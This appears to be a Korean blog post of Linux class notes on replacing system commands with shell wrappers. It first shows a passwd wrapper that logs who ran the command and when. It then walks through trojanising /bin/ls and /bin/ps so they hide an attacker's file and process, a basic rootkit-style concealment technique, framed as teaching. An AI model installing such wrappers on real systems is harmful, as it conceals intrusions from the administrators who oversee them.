본문 바로가기

Learning/└◆Shell Scripts

누가 언제 실행했는지 로그파일에 기록(프로그램 대치 프로그램)



기존 프로그램을 대치하는 프로그램(쉘 스크립트)


기존의 프로그램을 대치하는 프로그램

=> 목적-백도어같은 프로그램이 실행되어있는지 알 수 없도록

좋은용도/나쁜용도


(linux200)

 

(목적좋은 용도(EX: /usr/bin/passwd)

 

/usr/bin/passwd

/usr/bin/passwd 명령어를 사용할 때 누가(id CMD)/언제(data CMD) 실행했는지


별도의 로그 파일에 기록할 수 있는가?

 

# vi /root/bin/passwd

 

#!/bin/bash

 

id >> /test/passwd.log

date >> /test/passwd.log

echo >> /test/passwd.log

 

/usr/bin/passwd.old $*                  /* # mv /usr/bin/passwd /usr/bin/passwd.old */

 $* 인자 전체를 나타낸다.

 

# touch /test/passwd.log

# chmod 777 /test/passwd.log /* 테스트용 퍼미션 */

 

# chmod 755 /root/bin/passwd

 

# mv /usr/bin/passwd /usr/bin/passwd.old

# cp /root/bin/passwd /usr/bin/passwd

 

# passwd user01

관리자가 passwd user01을 치면 /root/bin/passwd에 적은 것을 실행하고 실행하기 때문에 사용자는 모르고 

 

Changing password for user user01.

New UNIX password: (user01)

BAD PASSWORD: it is based on a dictionary word

Retype new UNIX password: (user01)

passwd: all authentication tokens updated successfully.

 

-> 관리자의 암호 변경

 

# cat /test/passwd.log

 

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

Tue Dec 23 11:20:39 KST 2014

 

 

 

(복원작업)

# mv /usr/bin/passwd.old /usr/bin/passwd

 

 

==============================================================================

 

(목적악의적인 용도(EX: /bin/ls)

 

■ /bin/ls(Orignal program) ==== 교체 ====> /bin/ls(Hacker's program)

# ls

-> 내가 설치한 프로그램은 안보이도록 설정

-> 파일 이름: hacker_file

 

 

■ /bin/ps(Orignal program) ==== 교체 ====> /bin/ps(Hacker's program)

# ps -ef

-> 자신이 띄운 프로세스는 안보이도록 설정

-> 프로세스 이름hacker_process

 

 

[실습] ls 명령어 실습

# vi /root/bin/ls

 

#!/bin/bash

 

/bin/ls $* | grep -v hacker_file

 

=> v옵션을 통해 hacker_file을 제외시킨다.


# chmod 755 /root/bin/ls

 

# cd /test

# touch hacker_file

# /root/bin/ls

 

dir1

file1

passwd.log

 

-> hacker_file 파일이 보이는가?

 

# /bin/ls

 

dir1 file1 hacker_file passwd.log

 

-> hacker_file 파일이 보이는가?

 

# /root/bin/ls -altr

 

-rw-r--r-- 1 root root 0 Dec 22 12:28 file1

drwxr-xr-x 2 root root 4096 Dec 22 12:28 dir1

drwxr-xr-x 26 root root 4096 Dec 23 09:44 ..

-rw-r--r-- 1 root root 118 Dec 23 11:20 passwd.log

drwxr-xr-x 3 root root 4096 Dec 23 11:29 .

 

=> 대치시키지 않아서 적용은 안되지만 /root/bin/ls를 사용하면 볼 수 없는걸 알 수 있다.



# /root/bin/ls /root/bin/*.sh

 

/root/bin/add_userlist.sh

/root/bin/arp.sh

/root/bin/auto_ftp2.sh

/root/bin/auto_ftp.sh

/root/bin/auto_telnet_ftp.sh

/root/bin/banner_telnet.sh

/root/bin/bomb_exec.sh

/root/bin/bomb.sh

.... (중략) ....

 


 

■ /bin/ls(Orignal program) ==== 교체 ====> /root/bin/ls(Hacker's program)

# cp /bin/ls /bin/ls.old

# cp /root/bin/ls /bin/ls

# vi /bin/ls

/bin/ls.old $* | grep -v hacker_file



 

[실습] ps 명령어 실습

[TERM1] 명령어터미널

# vi /root/bin/ps

 

#!/bin/bash

 

/bin/ps "$*" | egrep -v hacker_process

 

 

# chmod 755 /root/bin/ps

 

# cd /test

# vi hacker_process

 

#!/bin/bash

 

sleep 86400

 

 

# chmod 755 hacker_process

# ./hacker_process

 

[TERM2] 명령어터미널

/root/bin/ps -ef | grep hacker_process

#

-> hacker_process 프로세스가 보이는가?

 

# /bin/ps -ef | grep hacker_process

 

root 6290 5983 0 11:36 pts/1 00:00:00 /bin/bash ./hacker_process

 

-> hacker_process 프로세스가 보이는가?

 

   ■ /bin/ps(Orignal program) ==== 교체 ====> /root/bin/ps(Hacker's program)

   # cp /bin/ps /bin/ps.old

   # cp /root/bin/ps /bin/ps

   # vi /bin/ps

   /bin/ps.old "$*" | egrep -v hacker_process